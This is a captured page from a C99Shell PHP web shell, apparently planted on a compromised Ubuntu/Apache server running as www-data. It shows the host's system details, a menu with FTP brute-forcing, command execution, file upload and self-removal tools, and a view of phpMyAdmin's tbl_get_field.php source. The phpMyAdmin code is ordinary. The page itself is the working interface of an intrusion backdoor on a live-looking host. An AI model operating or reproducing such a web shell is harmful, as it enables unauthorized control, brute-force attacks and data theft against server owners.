!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/   drwxr-xr-x
Free 13.07 GB of 57.97 GB (22.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     tbl_get_field.php (1.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Provides download to a given field defined in parameters.
 *
 * @package PhpMyAdmin
 */

use PhpMyAdmin\Core;
use 
PhpMyAdmin\Mime;
use 
PhpMyAdmin\Response;

/**
 * Common functions.
 */
require_once 'libraries/common.inc.php';

// we don't want the usual PhpMyAdmin\Response-generated HTML above the column's
// data
$response Response::getInstance();
$response->disable();

/* Check parameters */
PhpMyAdmin\Util::checkParameters(
    array(
'db''table')
);

/* Select database */
if (!$GLOBALS['dbi']->selectDb($db)) {
    
PhpMyAdmin\Util::mysqlDie(
        
sprintf(__('\'%s\' database does not exist.'), htmlspecialchars($db)),
        
''false
    
);
}

/* Check if table exists */
if (!$GLOBALS['dbi']->getColumns($db$table)) {
    
PhpMyAdmin\Util::mysqlDie(__('Invalid table name'));
}

if (! isset(
$_GET['where_clause'])
    || ! isset(
$_GET['where_clause_sign'])
    || ! 
Core::checkSqlQuerySignature($_GET['where_clause'], $_GET['where_clause_sign'])
) {
/* l10n: In case a SQL query did not pass a security check  */
    
Core::fatalError(__('There is an issue with your request.'));
    exit;
}

/* Grab data */
$sql 'SELECT ' PhpMyAdmin\Util::backquote($_GET['transform_key'])
    . 
' FROM ' PhpMyAdmin\Util::backquote($table)
    . 
' WHERE ' $_GET['where_clause'] . ';';
$result $GLOBALS['dbi']->fetchValue($sql);

/* Check return code */
if ($result === false) {
    
PhpMyAdmin\Util::mysqlDie(
        
__('MySQL returned an empty result set (i.e. zero rows).'), $sql
    
);
}

/* Avoid corrupting data */
ini_set('url_rewriter.tags''');

Core::downloadHeader(
    
$table '-' .  $_GET['transform_key'] . '.bin',
    
Mime::detect($result),
    
strlen($result)
);
echo 
$result;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.1156 ]--